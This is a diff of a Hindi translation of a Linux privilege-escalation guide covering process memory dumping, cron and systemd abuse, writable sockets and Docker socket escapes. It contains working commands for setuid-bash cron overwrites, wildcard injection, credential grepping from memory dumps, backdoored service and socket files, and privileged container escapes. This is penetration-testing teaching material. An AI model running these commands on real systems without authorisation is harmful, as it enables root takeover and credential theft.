g++ 2>/dev/null || locate -r "/gcc[0-9\.-]\+$" 2>/dev/null | grep -v "/doc/") ``` @@ -156,40 +156,40 @@ which nmap aws nc ncat netcat nc.traditional wget curl ping gcc g++ make gdb bas dpkg -l #Debian rpm -qa #Centos ``` -यदि आपके पास मशीन पर SSH एक्सेस है, तो आप **openVAS** का उपयोग करके मशीन के अंदर स्थापित पुराने और कमजोर सॉफ़्टवेयर की जांच कर सकते हैं। +यदि आपके पास मशीन पर SSH पहुंच है, तो आप **openVAS** का उपयोग करके मशीन के अंदर स्थापित पुराने और कमजोर सॉफ़्टवेयर की जांच कर सकते हैं। > [!NOTE] > _ध्यान दें कि ये कमांड बहुत सारी जानकारी दिखाएंगे जो ज्यादातर बेकार होगी, इसलिए कुछ एप्लिकेशन जैसे OpenVAS या समान का उपयोग करने की सिफारिश की जाती है जो जांचेंगे कि क्या कोई स्थापित सॉफ़्टवेयर संस्करण ज्ञात शोषणों के लिए कमजोर है_ -## Processes +## प्रक्रियाएँ -देखें कि **कौन से प्रक्रियाएँ** निष्पादित की जा रही हैं और जांचें कि क्या कोई प्रक्रिया **जितनी होनी चाहिए उससे अधिक विशेषाधिकार** रखती है (शायद एक टॉमकैट जिसे रूट द्वारा निष्पादित किया जा रहा है?) +देखें कि **कौन सी प्रक्रियाएँ** निष्पादित की जा रही हैं और जांचें कि क्या कोई प्रक्रिया **उससे अधिक विशेषाधिकार रखती है जितनी उसे होनी चाहिए** (शायद एक टॉमकैट जिसे रूट द्वारा निष्पादित किया जा रहा है?) ```bash ps aux ps -ef top -n 1 ``` -हमेशा संभावित [**electron/cef/chromium debuggers**] के लिए जांचें जो चल रहे हैं, आप इसका दुरुपयोग करके विशेषाधिकार बढ़ा सकते हैं](electron-cef-chromium-debugger-abuse.md)। **Linpeas** इनकी पहचान करने के लिए प्रक्रिया के कमांड लाइन में `--inspect` पैरामीटर की जांच करते हैं।\ -साथ ही **प्रक्रियाओं के बाइनरी पर अपने विशेषाधिकारों की जांच करें**, शायद आप किसी और को ओवरराइट कर सकते हैं। +हमेशा संभावित [**electron/cef/chromium debuggers** चल रहे हैं, आप इसका दुरुपयोग करके विशेषाधिकार बढ़ा सकते हैं](electron-cef-chromium-debugger-abuse.md)। **Linpeas** इनकी पहचान करने के लिए प्रक्रिया के कमांड लाइन में `--inspect` पैरामीटर की जांच करते हैं।\ +साथ ही **प्रक्रियाओं के बाइनरी पर अपने विशेषाधिकारों की जांच करें**, शायद आप किसी को ओवरराइट कर सकते हैं। ### प्रक्रिया निगरानी -आप प्रक्रियाओं की निगरानी के लिए [**pspy**](https://github.com/DominicBreuker/pspy) जैसे उपकरणों का उपयोग कर सकते हैं। यह अक्सर चल रही कमजोर प्रक्रियाओं की पहचान करने के लिए बहुत उपयोगी हो सकता है या जब एक सेट आवश्यकताएँ पूरी होती हैं। +आप प्रक्रियाओं की निगरानी के लिए [**pspy**](https://github.com/DominicBreuker/pspy) जैसे उपकरणों का उपयोग कर सकते हैं। यह अक्सर चल रही कमजोर प्रक्रियाओं की पहचान करने के लिए बहुत उपयोगी हो सकता है या जब आवश्यकताओं का एक सेट पूरा होता है। ### प्रक्रिया मेमोरी -कुछ सर्वर की सेवाएँ **मेमोरी के अंदर स्पष्ट पाठ में क्रेडेंशियल्स** सहेजती हैं।\ +कुछ सर्वर की सेवाएँ **मेमोरी के अंदर स्पष्ट पाठ में क्रेडेंशियल्स को सहेजती हैं**।\ सामान्यतः, आपको अन्य उपयोगकर्ताओं से संबंधित प्रक्रियाओं की मेमोरी पढ़ने के लिए **रूट विशेषाधिकार** की आवश्यकता होगी, इसलिए यह आमतौर पर तब अधिक उपयोगी होता है जब आप पहले से ही रूट हैं और अधिक क्रेडेंशियल्स खोजने की कोशिश कर रहे हैं।\ -हालांकि, याद रखें कि **एक सामान्य उपयोगकर्ता के रूप में आप उन प्रक्रियाओं की मेमोरी पढ़ सकते हैं जिनके आप मालिक हैं**। +हालांकि, याद रखें कि **एक नियमित उपयोगकर्ता के रूप में आप अपनी प्रक्रियाओं की मेमोरी पढ़ सकते हैं**। > [!WARNING] > ध्यान दें कि आजकल अधिकांश मशीनें **डिफ़ॉल्ट रूप से ptrace की अनुमति नहीं देतीं** जिसका अर्थ है कि आप अपने विशेषाधिकारहीन उपयोगकर्ता से संबंधित अन्य प्रक्रियाओं को डंप नहीं कर सकते। > > फ़ाइल _**/proc/sys/kernel/yama/ptrace_scope**_ ptrace की पहुंच को नियंत्रित करती है: > -> - **kernel.yama.ptrace_scope = 0**: सभी प्रक्रियाएँ डिबग की जा सकती हैं, जब तक कि उनके पास समान uid हो। यह ptracing के काम करने का पारंपरिक तरीका है। +> - **kernel.yama.ptrace_scope = 0**: सभी प्रक्रियाओं को डिबग किया जा सकता है, जब तक कि उनके पास समान uid हो। यह ptracing के काम करने का पारंपरिक तरीका है। > - **kernel.yama.ptrace_scope = 1**: केवल एक माता-पिता प्रक्रिया को डिबग किया जा सकता है। -> - **kernel.yama.ptrace_scope = 2**: केवल व्यवस्थापक ptrace का उपयोग कर सकता है, क्योंकि यह CAP_SYS_PTRACE क्षमता की आवश्यकता होती है। -> - **kernel.yama.ptrace_scope = 3**: कोई प्रक्रियाएँ ptrace के साथ ट्रेस नहीं की जा सकतीं। एक बार सेट होने पर, फिर से ptracing सक्षम करने के लिए एक रिबूट की आवश्यकता होती है। +> - **kernel.yama.ptrace_scope = 2**: केवल व्यवस्थापक ptrace का उपयोग कर सकता है, क्योंकि इसे CAP_SYS_PTRACE क्षमता की आवश्यकता होती है। +> - **kernel.yama.ptrace_scope = 3**: कोई प्रक्रियाएँ ptrace के साथ ट्रेस नहीं की जा सकतीं। एक बार सेट होने पर, ptracing को फिर से सक्षम करने के लिए एक रिबूट की आवश्यकता होती है। #### GDB @@ -215,7 +215,7 @@ done ``` #### /proc/$pid/maps & /proc/$pid/mem -किसी दिए गए प्रक्रिया आईडी के लिए, **maps दिखाता है कि मेमोरी उस प्रक्रिया के** वर्चुअल एड्रेस स्पेस के भीतर कैसे मैप की गई है; यह **प्रत्येक मैप की गई क्षेत्र के अनुमतियों** को भी दिखाता है। **mem** प्सेउडो फ़ाइल **प्रक्रियाओं की मेमोरी को स्वयं उजागर करती है**। **maps** फ़ाइल से हम जानते हैं कि **कौन सी मेमोरी क्षेत्र पढ़ने योग्य हैं** और उनके ऑफसेट। हम इस जानकारी का उपयोग **mem फ़ाइल में खोजने और सभी पढ़ने योग्य क्षेत्रों को एक फ़ाइल में डंप करने** के लिए करते हैं। +किसी दिए गए प्रक्रिया आईडी के लिए, **maps दिखाता है कि मेमोरी उस प्रक्रिया के** वर्चुअल एड्रेस स्पेस के भीतर कैसे मैप की गई है; यह **प्रत्येक मैप की गई क्षेत्र के अनुमतियों** को भी दिखाता है। **mem** प्सेUDO फ़ाइल **प्रक्रियाओं की मेमोरी को स्वयं उजागर करती है**। **maps** फ़ाइल से हम जानते हैं कि **कौन सी मेमोरी क्षेत्र पढ़ने योग्य हैं** और उनके ऑफसेट। हम इस जानकारी का उपयोग **mem फ़ाइल में खोजने और सभी पढ़ने योग्य क्षेत्रों को एक फ़ाइल में डंप करने** के लिए करते हैं। ```bash procdump() ( @@ -281,19 +281,19 @@ Press Ctrl-C to end monitoring without terminating the process. ps -ef | grep "authenticator" root 2027 2025 0 11:46 ? 00:00:00 authenticator ``` -आप प्रक्रिया को डंप कर सकते हैं (विभिन्न तरीकों को खोजने के लिए पिछले अनुभागों को देखें जो एक प्रक्रिया की मेमोरी को डंप करने के लिए हैं) और मेमोरी के अंदर क्रेडेंशियल्स के लिए खोज सकते हैं: +आप प्रक्रिया को डंप कर सकते हैं (प्रक्रिया की मेमोरी को डंप करने के विभिन्न तरीकों को खोजने के लिए पिछले अनुभागों को देखें) और मेमोरी के अंदर क्रेडेंशियल्स के लिए खोज कर सकते हैं: ```bash ./dump-memory.sh 2027 strings *.dump | grep -i password ``` #### mimipenguin -यह उपकरण [**https://github.com/huntergregal/mimipenguin**](https://github.com/huntergregal/mimipenguin) **मेमोरी से स्पष्ट पाठ क्रेडेंशियल्स चुराएगा** और कुछ **अच्छी तरह से ज्ञात फ़ाइलों** से। इसे सही तरीके से काम करने के लिए रूट विशेषाधिकारों की आवश्यकता होती है। +यह उपकरण [**https://github.com/huntergregal/mimipenguin**](https://github.com/huntergregal/mimipenguin) **मेमोरी से स्पष्ट पाठ क्रेडेंशियल्स** और कुछ **ज्ञात फ़ाइलों** से **चोरी** करेगा। इसे सही तरीके से काम करने के लिए रूट विशेषाधिकारों की आवश्यकता होती है। | विशेषता | प्रक्रिया का नाम | | ------------------------------------------------- | -------------------- | | GDM पासवर्ड (Kali डेस्कटॉप, Debian डेस्कटॉप) | gdm-password | -| Gnome Keyring (Ubuntu डेस्कटॉप, ArchLinux डेस्कटॉप) | gnome-keyring-daemon | +| Gnome कीरिंग (Ubuntu डेस्कटॉप, ArchLinux डेस्कटॉप) | gnome-keyring-daemon | | LightDM (Ubuntu डेस्कटॉप) | lightdm | | VSFTPd (सक्रिय FTP कनेक्शन) | vsftpd | | Apache2 (सक्रिय HTTP बेसिक ऑथ सत्र) | apache2 | @@ -328,7 +328,7 @@ cat /etc/cron* /etc/at* /etc/anacrontab /var/spool/cron/crontabs/root 2>/dev/nul (_ध्यान दें कि उपयोगकर्ता "user" के पास /home/user पर लिखने के अधिकार हैं_) यदि इस क्रॉनटैब के अंदर रूट उपयोगकर्ता बिना पथ सेट किए किसी कमांड या स्क्रिप्ट को निष्पादित करने की कोशिश करता है। उदाहरण के लिए: _\* \* \* \* root overwrite.sh_\ -तो, आप निम्नलिखित का उपयोग करके रूट शेल प्राप्त कर सकते हैं: +तो, आप इसका उपयोग करके एक रूट शेल प्राप्त कर सकते हैं: ```bash echo 'cp /bin/bash /tmp/bash; chmod +s /tmp/bash' > /home/user/overwrite.sh #Wait cron job to be executed @@ -336,11 +336,11 @@ echo 'cp /bin/bash /tmp/bash; chmod +s /tmp/bash' > /home/user/overwrite.sh ``` ### Cron using a script with a wildcard (Wildcard Injection) -यदि एक स्क्रिप्ट जिसे रूट द्वारा निष्पादित किया जाता है, एक कमांड के अंदर “**\***” है, तो आप इसका उपयोग अप्रत्याशित चीजें (जैसे privesc) करने के लिए कर सकते हैं। उदाहरण: +यदि एक स्क्रिप्ट जिसे रूट द्वारा निष्पादित किया गया है, एक कमांड के अंदर “**\***” है, तो आप इसका उपयोग अप्रत्याशित चीजें करने के लिए कर सकते हैं (जैसे privesc)। उदाहरण: ```bash rsync -a *.sh rsync://host.back/src/rbd #You can create a file called "-e sh myscript.sh" so the script will execute our script ``` -**यदि वाइल्डकार्ड के पहले एक पथ है जैसे** _**/some/path/\***_ **, तो यह संवेदनशील नहीं है (यहां तक कि** _**./\***_ **भी नहीं है)।** +**यदि वाइल्डकार्ड के पहले एक पथ है जैसे** _**/some/path/\***_ **, तो यह असुरक्षित नहीं है (यहां तक कि** _**./\***_ **भी नहीं है)।** अधिक वाइल्डकार्ड शोषण तकनीकों के लिए निम्नलिखित पृष्ठ पढ़ें: @@ -356,7 +356,7 @@ echo 'cp /bin/bash /tmp/bash; chmod +s /tmp/bash' > #Wait until it is executed /tmp/bash -p ``` -यदि रूट द्वारा निष्पादित स्क्रिप्ट एक **निर्देशिका का उपयोग करती है जहाँ आपके पास पूर्ण पहुंच है**, तो शायद उस फ़ोल्डर को हटाना और **आपके द्वारा नियंत्रित स्क्रिप्ट की सेवा करने वाले दूसरे फ़ोल्डर के लिए एक सिम्लिंक फ़ोल्डर बनाना** उपयोगी हो सकता है। +यदि रूट द्वारा निष्पादित स्क्रिप्ट एक **निर्देशिका का उपयोग करती है जहाँ आपके पास पूर्ण पहुंच है**, तो शायद उस फ़ोल्डर को हटाना और **एक सिम्लिंक फ़ोल्डर बनाना उपयोगी हो सकता है** जो आपके द्वारा नियंत्रित स्क्रिप्ट को सेवा प्रदान करता है। ```bash ln -d -s ``` @@ -372,7 +372,7 @@ for i in $(seq 1 610); do ps -e --format cmd >> /tmp/monprocs.tmp; sleep 0.1; do ### अदृश्य क्रोन जॉब्स -यह संभव है कि एक क्रोनजॉब **एक टिप्पणी के बाद कैरिज रिटर्न डालकर** (बिना न्यूलाइन कैरेक्टर के) बनाया जाए, और क्रोन जॉब काम करेगा। उदाहरण (कैरिज रिटर्न कैरेक्टर पर ध्यान दें): +एक क्रोनजॉब **एक टिप्पणी के बाद कैरिज रिटर्न डालकर** (बिना न्यूलाइन कैरेक्टर के) बनाना संभव है, और क्रोन जॉब काम करेगा। उदाहरण (कैरिज रिटर्न कैरेक्टर पर ध्यान दें): ```bash #This is a comment inside a cron config file\r* * * * * echo "Surprise!" ``` @@ -380,12 +380,12 @@ for i in $(seq 1 610); do ps -e --format cmd >> /tmp/monprocs.tmp; sleep 0.1; do ### Writable _.service_ files -जांचें कि क्या आप किसी `.service` फ़ाइल को लिख सकते हैं, यदि आप कर सकते हैं, तो आप इसे **संशोधित कर सकते हैं** ताकि यह **आपका बैकडोर** **प्रारंभ** होने पर, **पुनः प्रारंभ** होने पर या **रोकने** पर **चलाए** (शायद आपको मशीन के पुनरारंभ होने की प्रतीक्षा करनी पड़े)।\ +जांचें कि क्या आप किसी `.service` फ़ाइल को लिख सकते हैं, यदि आप कर सकते हैं, तो आप इसे **संशोधित कर सकते हैं** ताकि यह **आपका बैकडोर चलाए** जब सेवा **शुरू** होती है, **फिर से शुरू** होती है या **रोक दी** जाती है (शायद आपको मशीन के पुनरारंभ होने का इंतजार करना पड़े)।\ उदाहरण के लिए, .service फ़ाइल के अंदर अपने बैकडोर को **`ExecStart=/tmp/script.sh`** के साथ बनाएं। ### Writable service binaries -याद रखें कि यदि आपके पास **सेवाओं द्वारा निष्पादित बाइनरी पर लिखने की अनुमति** है, तो आप उन्हें बैकडोर के लिए बदल सकते हैं ताकि जब सेवाएँ फिर से निष्पादित हों, तो बैकडोर निष्पादित हों। +याद रखें कि यदि आपके पास **सेवाओं द्वारा निष्पादित बाइनरी पर लिखने की अनुमति है**, तो आप उन्हें बैकडोर के लिए बदल सकते हैं ताकि जब सेवाएँ फिर से निष्पादित हों, तो बैकडोर निष्पादित हों। ### systemd PATH - Relative Paths @@ -393,13 +393,13 @@ for i in $(seq 1 610); do ps -e --format cmd >> /tmp/monprocs.tmp; sleep 0.1; do ```bash systemctl show-environment ``` -यदि आप पाते हैं कि आप पथ के किसी भी फ़ोल्डर में **लिख** सकते हैं, तो आप **अधिकार बढ़ाने** में सक्षम हो सकते हैं। आपको सेवा कॉन्फ़िगरेशन फ़ाइलों में **सापेक्ष पथों** के उपयोग की खोज करने की आवश्यकता है जैसे: +यदि आप पाते हैं कि आप पथ के किसी भी फ़ोल्डर में **लिख** सकते हैं, तो आप **अधिकार बढ़ाने** में सक्षम हो सकते हैं। आपको सेवा कॉन्फ़िगरेशन फ़ाइलों में **सापेक्ष पथों** की खोज करनी होगी जैसे: ```bash ExecStart=faraday-server ExecStart=/bin/sh -ec 'ifup --allow=hotplug %I; ifquery --state %I' ExecStop=/bin/sh "uptux-vuln-bin3 -stuff -hello" ``` -फिर, एक **executables** बनाएं जिसका **नाम उस सापेक्ष पथ बाइनरी** के समान हो जो systemd PATH फ़ोल्डर के अंदर है जिसमें आप लिख सकते हैं, और जब सेवा को कमजोर क्रिया (**Start**, **Stop**, **Reload**) को निष्पादित करने के लिए कहा जाता है, तो आपका **backdoor निष्पादित होगा** (अधिकारहीन उपयोगकर्ता आमतौर पर सेवाओं को शुरू/रोक नहीं सकते लेकिन जांचें कि क्या आप `sudo -l` का उपयोग कर सकते हैं)। +फिर, एक **executables** बनाएं जिसका **नाम उस सापेक्ष पथ बाइनरी** के समान हो जो systemd PATH फ़ोल्डर के अंदर है जिसमें आप लिख सकते हैं, और जब सेवा को कमजोर क्रिया (**Start**, **Stop**, **Reload**) को निष्पादित करने के लिए कहा जाता है, तो आपका **backdoor निष्पादित होगा** (अधिकारहीन उपयोगकर्ता आमतौर पर सेवाओं को शुरू/रोक नहीं सकते हैं लेकिन जांचें कि क्या आप `sudo -l` का उपयोग कर सकते हैं)। **सेवाओं के बारे में अधिक जानें `man systemd.service` के साथ।** @@ -423,8 +423,8 @@ Unit=backdoor.service इसलिए, इस अनुमति का दुरुपयोग करने के लिए आपको चाहिए: -- कुछ systemd यूनिट (जैसे `.service`) खोजें जो **एक लिखने योग्य बाइनरी को निष्पादित कर रहा है** -- कुछ systemd यूनिट खोजें जो **एक सापेक्ष पथ को निष्पादित कर रहा है** और आपके पास **systemd PATH** पर **लिखने की अनुमति** है (उस निष्पादन योग्य की नकल करने के लिए) +- कुछ systemd यूनिट (जैसे `.service`) खोजें जो **एक लिखने योग्य बाइनरी** को **निष्पादित** कर रहा है +- कुछ systemd यूनिट खोजें जो **एक सापेक्ष पथ** को **निष्पादित** कर रहा है और आपके पास **systemd PATH** पर **लिखने की अनुमति** है (उस निष्पादन योग्य की नकल करने के लिए) **`man systemd.timer` के साथ टाइमर्स के बारे में अधिक जानें।** @@ -435,32 +435,32 @@ Unit=backdoor.service sudo systemctl enable backu2.timer Created symlink /etc/systemd/system/multi-user.target.wants/backu2.timer → /lib/systemd/system/backu2.timer. ``` -नोट करें कि **टाइमर** को `/etc/systemd/system/.wants/.timer` पर इसके लिए एक सिम्लिंक बनाकर **सक्रिय** किया जाता है। +Note the **timer** is **activated** by creating a symlink to it on `/etc/systemd/system/.wants/.timer` -## सॉकेट्स +## Sockets -यूनिक्स डोमेन सॉकेट्स (UDS) **प्रक्रिया संचार** को समान या विभिन्न मशीनों पर क्लाइंट-सरवर मॉडल के भीतर सक्षम करते हैं। वे इंटर-कंप्यूटर संचार के लिए मानक यूनिक्स डिस्क्रिप्टर फ़ाइलों का उपयोग करते हैं और `.socket` फ़ाइलों के माध्यम से सेट अप किए जाते हैं। +Unix Domain Sockets (UDS) **प्रक्रिया संचार** को समान या विभिन्न मशीनों पर क्लाइंट-सेर्वर मॉडल के भीतर सक्षम करते हैं। वे इंटर-कंप्यूटर संचार के लिए मानक Unix डिस्क्रिप्टर फ़ाइलों का उपयोग करते हैं और `.socket` फ़ाइलों के माध्यम से सेट अप किए जाते हैं। -सॉकेट्स को `.socket` फ़ाइलों का उपयोग करके कॉन्फ़िगर किया जा सकता है। +Sockets को `.socket` फ़ाइलों का उपयोग करके कॉन्फ़िगर किया जा सकता है। -**`man systemd.socket` के साथ सॉकेट्स के बारे में अधिक जानें।** इस फ़ाइल के अंदर, कई दिलचस्प पैरामीटर कॉन्फ़िगर किए जा सकते हैं: +**Learn more about sockets with `man systemd.socket`.** इस फ़ाइल के अंदर, कई दिलचस्प पैरामीटर कॉन्फ़िगर किए जा सकते हैं: -- `ListenStream`, `ListenDatagram`, `ListenSequentialPacket`, `ListenFIFO`, `ListenSpecial`, `ListenNetlink`, `ListenMessageQueue`, `ListenUSBFunction`: ये विकल्प अलग हैं लेकिन एक सारांश का उपयोग **यह इंगित करने के लिए किया जाता है कि यह सॉकेट पर कहां सुनेगा** (AF_UNIX सॉकेट फ़ाइल का पथ, सुनने के लिए IPv4/6 और/या पोर्ट नंबर, आदि) -- `Accept`: एक बूलियन तर्क लेता है। यदि **सत्य**, तो **प्रत्येक आने वाले कनेक्शन के लिए एक सेवा उदाहरण उत्पन्न होता है** और केवल कनेक्शन सॉकेट इसे पास किया जाता है। यदि **झूठ**, तो सभी सुनने वाले सॉकेट स्वयं **शुरू की गई सेवा इकाई** को पास किए जाते हैं, और सभी कनेक्शनों के लिए केवल एक सेवा इकाई उत्पन्न होती है। यह मान डाटाग्राम सॉकेट और FIFOs के लिए अनदेखा किया जाता है जहां एकल सेवा इकाई बिना शर्त सभी आने वाले ट्रैफ़िक को संभालती है। **डिफ़ॉल्ट रूप से झूठा है**। प्रदर्शन कारणों से, नए डेमनों को केवल `Accept=no` के लिए उपयुक्त तरीके से लिखने की सिफारिश की जाती है। -- `ExecStartPre`, `ExecStartPost`: एक या एक से अधिक कमांड लाइनों को लेता है, जो **सुनने वाले** **सॉकेट्स**/FIFOs के **निर्माण** और बंधन से पहले या बाद में **निष्पादित** होते हैं। कमांड लाइन का पहला टोकन एक पूर्ण फ़ाइल नाम होना चाहिए, उसके बाद प्रक्रिया के लिए तर्क होते हैं। -- `ExecStopPre`, `ExecStopPost`: अतिरिक्त **कमांड** जो **सुनने वाले** **सॉकेट्स**/FIFOs के **बंद** और हटाए जाने से पहले या बाद में **निष्पादित** होते हैं। -- `Service`: **आने वाले ट्रैफ़िक** पर **सक्रिय** करने के लिए **सेवा** इकाई का नाम निर्दिष्ट करता है। यह सेटिंग केवल उन सॉकेट्स के लिए अनुमति है जिनका Accept=no है। यह उस सेवा पर डिफ़ॉल्ट होता है जिसका नाम सॉकेट के समान होता है (स suffix को बदलकर)। अधिकांश मामलों में, इस विकल्प का उपयोग करना आवश्यक नहीं होना चाहिए। +- `ListenStream`, `ListenDatagram`, `ListenSequentialPacket`, `ListenFIFO`, `ListenSpecial`, `ListenNetlink`, `ListenMessageQueue`, `ListenUSBFunction`: ये विकल्प अलग हैं लेकिन एक सारांश का उपयोग **यह इंगित करने के लिए किया जाता है कि यह सॉकेट पर कहाँ सुनने जा रहा है** (AF_UNIX सॉकेट फ़ाइल का पथ, सुनने के लिए IPv4/6 और/या पोर्ट नंबर, आदि) +- `Accept`: एक बूलियन तर्क लेता है। यदि **सत्य**, तो **प्रत्येक आने वाले कनेक्शन के लिए एक सेवा उदाहरण उत्पन्न होता है** और केवल कनेक्शन सॉकेट इसे पास किया जाता है। यदि **झूठ**, तो सभी सुनने वाले सॉकेट स्वयं **शुरू की गई सेवा इकाई** को पास किए जाते हैं, और सभी कनेक्शनों के लिए केवल एक सेवा इकाई उत्पन्न होती है। यह मान डाटाग्राम सॉकेट और FIFOs के लिए अनदेखा किया जाता है जहाँ एकल सेवा इकाई बिना शर्त सभी आने वाले ट्रैफ़िक को संभालती है। **डिफ़ॉल्ट रूप से झूठा**। प्रदर्शन कारणों से, नए डेमनों को केवल `Accept=no` के लिए उपयुक्त तरीके से लिखने की सिफारिश की जाती है। +- `ExecStartPre`, `ExecStartPost`: एक या एक से अधिक कमांड लाइनों को लेता है, जो **सुनने वाले** **सॉकेट**/FIFOs के **निर्माण** और बंधन से पहले या बाद में **निष्पादित** किए जाते हैं। कमांड लाइन का पहला टोकन एक पूर्ण फ़ाइल नाम होना चाहिए, इसके बाद प्रक्रिया के लिए तर्क होते हैं। +- `ExecStopPre`, `ExecStopPost`: अतिरिक्त **कमांड** जो **सुनने वाले** **सॉकेट**/FIFOs के **बंद** और हटाए जाने से पहले या बाद में **निष्पादित** किए जाते हैं। +- `Service`: **आने वाले ट्रैफ़िक** पर **सक्रिय करने** के लिए **सेवा** इकाई का नाम निर्दिष्ट करता है। यह सेटिंग केवल उन सॉकेट्स के लिए अनुमति है जिनका Accept=no है। यह उस सेवा पर डिफ़ॉल्ट होता है जिसका नाम सॉकेट के समान होता है (जिसका उपसर्ग बदला गया हो)। अधिकांश मामलों में, इस विकल्प का उपयोग करना आवश्यक नहीं होना चाहिए। -### Writable .socket फ़ाइलें +### Writable .socket files -यदि आप एक **लिखने योग्य** `.socket` फ़ाइल पाते हैं तो आप `[Socket]` अनुभाग के शुरू में कुछ इस तरह जोड़ सकते हैं: `ExecStartPre=/home/kali/sys/backdoor` और बैकडोर सॉकेट के निर्माण से पहले निष्पादित होगा। इसलिए, आपको **संभवतः मशीन के पुनरारंभ होने की प्रतीक्षा करनी होगी।**\ -&#xNAN;_Nोट करें कि सिस्टम को उस सॉकेट फ़ाइल कॉन्फ़िगरेशन का उपयोग करना चाहिए या बैकडोर निष्पादित नहीं होगा_ +यदि आप एक **लिखने योग्य** `.socket` फ़ाइल पाते हैं तो आप `[Socket]` अनुभाग के शुरू में कुछ इस तरह जोड़ सकते हैं: `ExecStartPre=/home/kali/sys/backdoor` और बैकडोर सॉकेट के निर्माण से पहले निष्पादित होगा। इसलिए, आपको **संभवतः मशीन के पुनरारंभ होने तक इंतजार करना होगा।**\ +_Note that the system must be using that socket file configuration or the backdoor won't be executed_ -### Writable सॉकेट्स +### Writable sockets -यदि आप **कोई लिखने योग्य सॉकेट पहचानते हैं** (_अब हम यूनिक्स सॉकेट्स की बात कर रहे हैं और कॉन्फ़िग `.socket` फ़ाइलों की नहीं_), तो **आप उस सॉकेट के साथ संवाद कर सकते हैं** और शायद एक भेद्यता का शोषण कर सकते हैं। +यदि आप **कोई लिखने योग्य सॉकेट पहचानते हैं** (_अब हम Unix Sockets की बात कर रहे हैं और कॉन्फ़िग `.socket` फ़ाइलों की नहीं_), तो **आप उस सॉकेट के साथ संवाद कर सकते हैं** और शायद एक भेद्यता का शोषण कर सकते हैं। -### यूनिक्स सॉकेट्स की गणना करें +### Enumerate Unix Sockets ```bash netstat -a -p --unix ``` @@ -481,7 +481,7 @@ socket-command-injection.md ### HTTP सॉकेट -ध्यान दें कि कुछ **सॉकेट HTTP** अनुरोधों के लिए सुन रहे हो सकते हैं (_मैं .socket फ़ाइलों की बात नहीं कर रहा हूँ बल्कि उन फ़ाइलों की जो यूनिक्स सॉकेट के रूप में कार्य कर रही हैं_)। आप इसे चेक कर सकते हैं: +ध्यान दें कि कुछ **सॉकेट HTTP** अनुरोधों के लिए सुन रहे हो सकते हैं (_मैं .socket फ़ाइलों की बात नहीं कर रहा हूँ बल्कि उन फ़ाइलों की जो यूनिक्स सॉकेट के रूप में कार्य कर रही हैं_)। आप इसे इस तरह जांच सकते हैं: ```bash curl --max-time 2 --unix-socket /pat/to/socket/files http:/index ``` @@ -500,17 +500,17 @@ docker -H unix:///var/run/docker.sock run -it --privileged --pid=host debian nse ``` ये कमांड आपको होस्ट के फ़ाइल सिस्टम पर रूट-स्तरीय पहुँच के साथ एक कंटेनर चलाने की अनुमति देती हैं। -#### **Docker API का सीधे उपयोग करना** +#### **डॉकर एपीआई का सीधे उपयोग करना** -उन मामलों में जहाँ Docker CLI उपलब्ध नहीं है, Docker सॉकेट को Docker API और `curl` कमांड का उपयोग करके भी नियंत्रित किया जा सकता है। +उन मामलों में जहाँ डॉकर CLI उपलब्ध नहीं है, डॉकर सॉकेट को डॉकर एपीआई और `curl` कमांड का उपयोग करके अभी भी संशोधित किया जा सकता है। -1. **Docker इमेज़ की सूची:** उपलब्ध इमेज़ की सूची प्राप्त करें। +1. **डॉकर इमेज़ की सूची:** उपलब्ध इमेज़ की सूची प्राप्त करें। ```bash curl -XGET --unix-socket /var/run/docker.sock http://localhost/images/json ``` -2. **एक कंटेनर बनाएं:** एक अनुरोध भेजें ताकि एक कंटेनर बनाया जा सके जो होस्ट सिस्टम की रूट डायरेक्टरी को माउंट करे। +2. **एक कंटेनर बनाएं:** एक अनुरोध भेजें ताकि एक कंटेनर बनाया जा सके जो होस्ट सिस्टम की रूट डायरेक्टरी को माउंट करता है। ```bash curl -XPOST -H "Content-Type: application/json" --unix-socket /var/run/docker.sock -d '{"Image":"","Cmd":["/bin/sh"],"DetachKeys":"Ctrl-p,Ctrl-q","OpenStdin":true,"Mounts":[{"Type":"bind","Source":"/","Target":"/host_root"}]}' http://localhost/containers/create @@ -522,7 +522,7 @@ curl -XPOST -H "Content-Type: application/json" --unix-socket /var/run/docker.so curl -XPOST --unix-socket /var/run/docker.sock http://localhost/containers//start ``` -3. **कंटेनर से जुड़ें:** कंटेनर से कनेक्शन स्थापित करने के लिए `socat` का उपयोग करें, जिससे इसके भीतर कमांड निष्पादन सक्षम हो सके। +3. **कंटेनर से अटैच करें:** कंटेनर से कनेक्शन स्थापित करने के लिए `socat` का उपयोग करें, जिससे इसके भीतर कमांड निष्पादन सक्षम हो सके। ```bash socat - UNIX-CONNECT:/var/run/docker.sock @@ -536,15 +536,15 @@ Upgrade: tcp ### अन्य -ध्यान दें कि यदि आपके पास Docker सॉकेट पर लिखने की अनुमति है क्योंकि आप **`docker` समूह के अंदर हैं** तो आपके पास [**अधिकार बढ़ाने के अधिक तरीके हैं**](interesting-groups-linux-pe/index.html#docker-group)। यदि [**docker API किसी पोर्ट पर सुन रहा है** तो आप इसे भी समझौता कर सकते हैं](../../network-services-pentesting/2375-pentesting-docker.md#compromising)। +ध्यान दें कि यदि आपके पास डॉकर सॉकेट पर लिखने की अनुमति है क्योंकि आप **`docker` समूह के अंदर हैं** तो आपके पास [**अधिकार बढ़ाने के अधिक तरीके हैं**](interesting-groups-linux-pe/index.html#docker-group)। यदि [**डॉकर एपीआई किसी पोर्ट पर सुन रहा है** तो आप इसे भी समझौता कर सकते हैं](../../network-services-pentesting/2375-pentesting-docker.md#compromising)। -**Docker से बाहर निकलने या इसे अधिकार बढ़ाने के लिए दुरुपयोग करने के अधिक तरीकों की जाँच करें**: +**डॉकर से बाहर निकलने या इसे अधिकार बढ़ाने के लिए दुरुपयोग करने के अधिक तरीकों की जाँच करें**: {{#ref}} docker-security/ {{#endref}} -## Containerd (ctr) अधिकार बढ़ाना +## कंटेनरडी (ctr) अधिकार बढ़ाना यदि आप पाते हैं कि आप **`ctr`** कमांड का उपयोग कर सकते हैं तो कृपया निम्नलिखित पृष्ठ को पढ़ें क्योंकि **आप इसे अधिकार बढ़ाने के लिए दुरुपयोग कर सकते हैं**: @@ -562,11 +562,11 @@ runc-privilege-escalation.md ## **D-Bus** -D-Bus एक जटिल **इंटर-प्रोसेस कम्युनिकेशन (IPC) सिस्टम** है जो अनुप्रयोगों को प्रभावी ढंग से बातचीत करने और डेटा साझा करने में सक्षम बनाता है। इसे आधुनिक Linux सिस्टम को ध्यान में रखते हुए डिज़ाइन किया गया है, यह विभिन्न प्रकार के अनुप्रयोग संचार के लिए एक मजबूत ढांचा प्रदान करता है। +D-Bus एक जटिल **इंटर-प्रोसेस 